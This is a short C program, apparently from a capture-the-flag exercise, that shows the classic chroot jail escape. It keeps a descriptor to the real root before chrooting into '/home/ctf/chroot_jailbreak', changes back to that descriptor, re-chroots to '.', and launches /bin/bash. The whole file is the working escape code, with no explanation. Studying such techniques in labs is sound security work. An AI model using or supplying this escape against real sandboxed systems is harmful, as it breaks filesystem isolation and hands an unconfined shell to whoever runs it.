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| #include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#include<fcntl.h>
int main(){
int fd = open("/.",0);
if(fd < 0){
puts("Open Fail!");
exit(0);
}
chroot("/home/ctf/chroot_jailbreak");
chdir("/");
fchdir(fd);
chroot(".");
system("/bin/bash");
return 0;
}
|
